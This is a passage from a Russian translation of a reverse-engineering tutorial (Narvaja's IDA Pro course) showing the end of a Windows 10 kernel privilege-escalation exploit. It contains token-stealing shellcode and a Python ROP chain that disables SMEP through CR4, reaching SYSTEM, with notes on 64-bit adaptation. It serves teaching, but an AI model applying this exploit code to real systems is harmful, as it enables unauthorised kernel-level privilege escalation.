SHELLCODE += "\X8B\X90\XFC\X00\X00\X00" # MOV EDX, [EAX + TOKEN_OFFSET]
SHELLCODE += "\X89\X91\XFC\X00\X00\X00" # MOV [ECX + TOKEN_OFFSET], EDX

# --[ RECOVER]
SHELLCODE += "\X61" # POPAD
SHELLCODE += "\X31\XC0" # RETURN NTSTATUS = STATUS_SUCCESS
SHELLCODE += "\XC2\X08" # RET
```

Давайте попробуем это.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-LjtdgJc9axFoWvyGr1b%2F-LjtdyzSxe8V-yvd5V0v%2F62-54.png?generation=1563261687486357\&alt=media)

Куда программа достигнет этой точки, будет ли она работать дальше? Нет.

Весьма вероятно, что дело в **POP EBP** когда не происходит переполнения.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-Lkxk3QV3VqJ1BB40Ie7%2F-Ljtu4BNqCJsG0VZY_i8%2F56.png?generation=1564404215679147\&alt=media)

Эта инструкция удаляет со стека значение.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-LjtdgJc9axFoWvyGr1b%2F-Ljtdz-6eQJYQANYnZ0B%2F62-56.png?generation=1563261687539098\&alt=media)

**ESP** устанавливается в это значение.

Я поменяю здесь только **RETN**, а не **RETN**, поэтому происходит возврат и тогда я могу добавить **EBP** в свой шеллкод.

```python
INPUT = STRUCT.PACK("<I", NT + 0X519770) * 2 # RET
INPUT += STRUCT.PACK("<I", NT + 0X11FC10) # MOV EAX, CR4 - RET
INPUT += STRUCT.PACK("<I", NT + 0X51976F) # POP ECX; RET
INPUT += STRUCT.PACK("<I", 0XFFEFFFFF) # TO DISABLE SMEP
INPUT += STRUCT.PACK("<I", NT + 0X50095C) # AND EAX,ECX; RET
INPUT += STRUCT.PACK("<I", NT + 0X11FC1E) # MOV **CR4,EAX; RET**
INPUT += STRUCT.PACK("<I", INT(BUF)) # A SHELLCODE
```

И в начале моего шеллкода я помещаю **POP EBP** , чтобы вернуть значение из стека перед вызовом **PUSHAD**.

Теперь, если уже всё работает отлично, я запускаю блокнот, потому что **MICROSOFT** в **WINDOWS 10** иногда ограничивает использование калькулятора.

![](https://333516620-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ljp8Kl9OQ2AqdU_D0G8%2F-Lkxk3QV3VqJ1BB40Ie7%2F-Ljtu4CopvNCVPeRhuil%2F58.png?generation=1564404224928021\&alt=media)

Здесь мы видим пользователя **SYSTEM**, другими словами мы смогли отключить **SMEP** и повысить привилегии в **32**-битной версии **WINDOWS 10**.

В **64** битных системах метод тот же. Конечно, вам нужно адаптировать смещения структур. Также вы должны сохранить значение регистра **CR4**, чтобы сделать вызов еще раз, чтобы вызвать второй **ROP**, чтобы восстановить значение, потому что, не в **64** битных системах **PATCH GUARD** время от времени сканирует и осознает изменения и происходит сбой системы, но сам по себе это тот же самый трудоемкий метод, но идея та же.

Автор оригинального текста — Рикардо Нарваха.

Перевод и адаптация на русский язык — Яша Яшечкин.

Перевод специально для форума системного и низкоуровневого программирования - WASM.IN

05.01.2018

[**Источник: ricardonarvaja.info**](http://ricardonarvaja.info/WEB/IDA%20DESDE%20CERO/CURSO%20DE%20IDA%20TUTES/62-INTRODUCCION%20AL%20REVERSING%20CON%20IDA%20PRO%20DESDE%20CERO.docx)
